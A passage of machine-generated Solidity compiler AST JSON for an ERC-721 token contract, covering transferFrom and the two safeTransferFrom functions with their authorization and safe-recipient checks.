address)"}},"id":33168,"indexExpression":{"id":33167,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"3954:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3941:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3927:30:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3866:91:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e4f545f415554484f52495a4544","id":33171,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3971:16:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_e7e213d5e2bee0acc2c7bf8bfda19ef0cae82e7b8c997e7e898919269971e7c4","typeString":"literal_string \"NOT_AUTHORIZED\""},"value":"NOT_AUTHORIZED"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e7e213d5e2bee0acc2c7bf8bfda19ef0cae82e7b8c997e7e898919269971e7c4","typeString":"literal_string \"NOT_AUTHORIZED\""}],"id":33152,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3845:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33172,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3845:152:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33173,"nodeType":"ExpressionStatement","src":"3845:152:21"},{"expression":{"id":33177,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"--","prefix":false,"src":"4173:18:21","subExpression":{"baseExpression":{"id":33174,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"4173:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":33176,"indexExpression":{"id":33175,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"4184:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"4173:16:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":33178,"nodeType":"ExpressionStatement","src":"4173:18:21"},{"expression":{"id":33182,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"4202:16:21","subExpression":{"baseExpression":{"id":33179,"name":"_balanceOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32939,"src":"4202:10:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":33181,"indexExpression":{"id":33180,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33127,"src":"4213:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"4202:14:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":33183,"nodeType":"ExpressionStatement","src":"4202:16:21"},{"expression":{"id":33188,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":33184,"name":"_ownerOf","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32935,"src":"4229:8:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33186,"indexExpression":{"id":33185,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"4238:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"4229:12:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":33187,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33127,"src":"4244:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"4229:17:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":33189,"nodeType":"ExpressionStatement","src":"4229:17:21"},{"expression":{"id":33193,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"delete","prefix":true,"src":"4257:23:21","subExpression":{"baseExpression":{"id":33190,"name":"_getApproved","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32990,"src":"4264:12:21","typeDescriptions":{"typeIdentifier":"t_mapping$_t_uint256_$_t_address_$","typeString":"mapping(uint256 => address)"}},"id":33192,"indexExpression":{"id":33191,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"4277:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"4264:16:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33194,"nodeType":"ExpressionStatement","src":"4257:23:21"},{"eventCall":{"arguments":[{"id":33196,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33125,"src":"4305:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33197,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33127,"src":"4311:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33198,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33129,"src":"4315:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33195,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31984,"src":"4296:8:21","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33199,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4296:22:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33200,"nodeType":"EmitStatement","src":"4291:27:21"}]},"baseFunctions":[32050],"functionSelector":"23b872dd","implemented":true,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"3641:12:21","overrides":{"id":33131,"nodeType":"OverrideSpecifier","overrides":[],"src":"3715:8:21"},"parameters":{"id":33130,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33125,"mutability":"mutable","name":"from","nameLocation":"3662:4:21","nodeType":"VariableDeclaration","scope":33202,"src":"3654:12:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33124,"name":"address","nodeType":"ElementaryTypeName","src":"3654:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33127,"mutability":"mutable","name":"to","nameLocation":"3676:2:21","nodeType":"VariableDeclaration","scope":33202,"src":"3668:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33126,"name":"address","nodeType":"ElementaryTypeName","src":"3668:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33129,"mutability":"mutable","name":"id","nameLocation":"3688:2:21","nodeType":"VariableDeclaration","scope":33202,"src":"3680:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33128,"name":"uint256","nodeType":"ElementaryTypeName","src":"3680:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3653:38:21"},"returnParameters":{"id":33132,"nodeType":"ParameterList","parameters":[],"src":"3724:0:21"},"scope":33498,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":33242,"nodeType":"FunctionDefinition","src":"4331:386:21","nodes":[],"body":{"id":33241,"nodeType":"Block","src":"4427:290:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33213,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33204,"src":"4450:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33214,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33206,"src":"4456:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33215,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33208,"src":"4460:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33212,"name":"transferFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33202,"src":"4437:12:21","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33216,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4437:26:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33217,"nodeType":"ExpressionStatement","src":"4437:26:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33222,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"4495:16:21","subExpression":{"arguments":[{"id":33220,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33206,"src":"4508:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33219,"name":"_isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33497,"src":"4496:11:21","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":33221,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4496:15:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33236,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":33227,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"4573:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33228,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4577:6:21","memberName":"sender","nodeType":"MemberAccess","src":"4573:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33229,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33204,"src":"4585:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33230,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33208,"src":"4591:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"","id":33231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4595:2:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"arguments":[{"id":33224,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33206,"src":"4552:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33223,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"4531:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4531:24:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC721TokenReceiver_$33512","typeString":"contract IERC721TokenReceiver"}},"id":33226,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4556:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"4531:41:21","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_memory_ptr_$returns$_t_bytes4_$","typeString":"function (address,address,uint256,bytes memory) external returns (bytes4)"}},"id":33232,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4531:67:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":33233,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"4622:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33234,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4643:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"4622:37:21","typeDescriptions":{"typeIdentifier":"t_function_declaration_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_calldata_ptr_$returns$_t_bytes4_$","typeString":"function IERC721TokenReceiver.onERC721Received(address,address,uint256,bytes calldata) returns (bytes4)"}},"id":33235,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4660:8:21","memberName":"selector","nodeType":"MemberAccess","src":"4622:46:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"4531:137:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"4495:173:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"554e534146455f524543495049454e54","id":33238,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4682:18:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""},"value":"UNSAFE_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""}],"id":33218,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4474:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33239,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4474:236:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33240,"nodeType":"ExpressionStatement","src":"4474:236:21"}]},"baseFunctions":[32040],"functionSelector":"42842e0e","implemented":true,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"4340:16:21","overrides":{"id":33210,"nodeType":"OverrideSpecifier","overrides":[],"src":"4418:8:21"},"parameters":{"id":33209,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33204,"mutability":"mutable","name":"from","nameLocation":"4365:4:21","nodeType":"VariableDeclaration","scope":33242,"src":"4357:12:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33203,"name":"address","nodeType":"ElementaryTypeName","src":"4357:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33206,"mutability":"mutable","name":"to","nameLocation":"4379:2:21","nodeType":"VariableDeclaration","scope":33242,"src":"4371:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33205,"name":"address","nodeType":"ElementaryTypeName","src":"4371:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33208,"mutability":"mutable","name":"id","nameLocation":"4391:2:21","nodeType":"VariableDeclaration","scope":33242,"src":"4383:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33207,"name":"uint256","nodeType":"ElementaryTypeName","src":"4383:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4356:38:21"},"returnParameters":{"id":33211,"nodeType":"ParameterList","parameters":[],"src":"4427:0:21"},"scope":33498,"stateMutability":"payable","virtual":true,"visibility":"public"},{"id":33284,"nodeType":"FunctionDefinition","src":"4723:443:21","nodes":[],"body":{"id":33283,"nodeType":"Block","src":"4874:292:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33255,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33244,"src":"4897:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33256,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33246,"src":"4903:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33257,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33248,"src":"4907:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33254,"name":"transferFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33202,"src":"4884:12:21","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":33258,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4884:26:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33259,"nodeType":"ExpressionStatement","src":"4884:26:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33279,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"4942:16:21","subExpression":{"arguments":[{"id":33262,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33246,"src":"4955:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33261,"name":"_isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33497,"src":"4943:11:21","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":33263,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4943:15:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":33269,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"5020:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33270,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5024:6:21","memberName":"sender","nodeType":"MemberAccess","src":"5020:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33271,"name":"from","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33244,"src":"5032:4:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33272,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33248,"src":"5038:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33273,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33250,"src":"5042:4:21","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":33266,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33246,"src":"4999:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33265,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"4978:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33267,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4978:24:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC721TokenReceiver_$33512","typeString":"contract IERC721TokenReceiver"}},"id":33268,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5003:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"4978:41:21","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_memory_ptr_$returns$_t_bytes4_$","typeString":"function (address,address,uint256,bytes memory) external returns (bytes4)"}},"id":33274,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4978:69:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":33275,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"5071:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33276,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5092:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"5071:37:21","typeDescriptions":{"typeIdentifier":"t_function_declaration_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_calldata_ptr_$returns$_t_bytes4_$","typeString":"function IERC721TokenReceiver.onERC721Received(address,address,uint256,bytes calldata) returns (bytes4)"}},"id":33277,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5109:8:21","memberName":"selector","nodeType":"MemberAccess","src":"5071:46:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"4978:139:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"4942:175:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"554e534146455f524543495049454e54","id":33280,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5131:18:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""},"value":"UNSAFE_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""}],"id":33260,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4921:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4921:238:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33282,"nodeType":"ExpressionStatement","src":"4921:238:21"}]},"baseFunctions":[32030],"functionSelector":"b88d4fde","implemented":true,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"4732:16:21","overrides":{"id":33252,"nodeType":"OverrideSpecifier","overrides":[],"src":"4861:8:21"},"parameters":{"id":33251,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33244,"mutability":"mutable","name":"from","nameLocation":"4757:4:21","nodeType":"VariableDeclaration","scope":33284,"src":"4749:12:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33243,"name":"address","nodeType":"ElementaryTypeName","src":"4749:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33246,"mutability":"mutable","name":"to","nameLocation":"4771:2:21","nodeType":"VariableDeclaration","scope":33284,"src":"4763:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33245,"name":"address","nodeType":"ElementaryTypeName","src":"4763:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33248,"mutability":"mutable","name":"id","nameLocation":"4783:2:21","nodeType":"VariableDeclaration","scope":33284,"src":"4775:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33247,"name":"uint256","nodeType":"ElementaryTypeName","src":"4775:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33250,"mutability":"mutable","name":"data","nameLocation":"4800:4:21","nodeType":"VariableDeclaration","scope":33284,"src":"4787:17:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":33249,"name":"bytes","nodeType":"ElementaryTypeName","src":"4787:5:21","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4748:57:21"},"returnParameters":{"id":33253,"nodeType":"ParameterList","parameters":[],"src":"4874:0:21"},"scope":33498,"stateMutability":"payable","virtual":true,"v